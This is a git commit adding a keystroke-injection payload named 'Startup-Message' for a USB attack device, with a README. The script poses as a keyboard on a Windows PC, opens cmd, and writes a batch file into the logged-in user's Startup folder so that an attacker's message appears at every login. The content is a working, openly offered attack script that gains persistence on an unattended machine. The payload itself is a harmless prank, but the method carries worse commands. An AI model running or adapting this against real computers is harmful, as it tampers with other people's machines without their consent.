Added Startup-Message payload (#260)

This commit is contained in:
Mikee 2017-11-20 04:20:16 +01:00 committed by Sebastian Kinne
parent d65380bd94
commit 69cd48ee05
2 changed files with 52 additions and 0 deletions

View File

@ -0,0 +1,30 @@
#!/bin/bash
#Title: Startup-Message
#Author: By MikeeU
#Target: Windows
#Tested on: Windows 10
#Version: 1.0
#Setting up(Magenta)
LED SETUP
ATTACKMODE HID
#Beginning HID Attack(Yellow)
LED ATTACK
#Running cmd to create file in startup directory
RUN WIN cmd
Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Q ENTER
Q STRING "echo @echo off > startup.bat"
Q ENTER
Q STRING "echo echo I will lock my PC next time! >> startup.bat"
Q ENTER
Q STRING "echo pause >> startup.bat"
Q ENTER
Q ALT F4
#Fast green followed by Solid -> Finished
LED FINISH

View File

@ -0,0 +1,22 @@
# Startup-Message
by KMikeeU
* Target: Windows
* Tested on: Windows 10
* Should work on: Windows XP, Vista, 7, 8(Desktop), 10
* Version: 1.0
## Description
This little __HID__ Attack, will use cmd to create a file in the startup directory of the logged in user on the target PC. Which will display a message set by the attacker on logging in.
## Configuration
You can edit the script to change the name of the file and the text that will be displayed.
Defaults: startup.bat; I will lock my PC next time!
## Status
| Status | Color | Description |
|------|------|------|
|SETUP|Magenta|Setting Attack mode|
|ATTACK|Slow Yellow|Injecting keystrokes|
|FINISH|Fast Green followed by solid|Payload has finished!|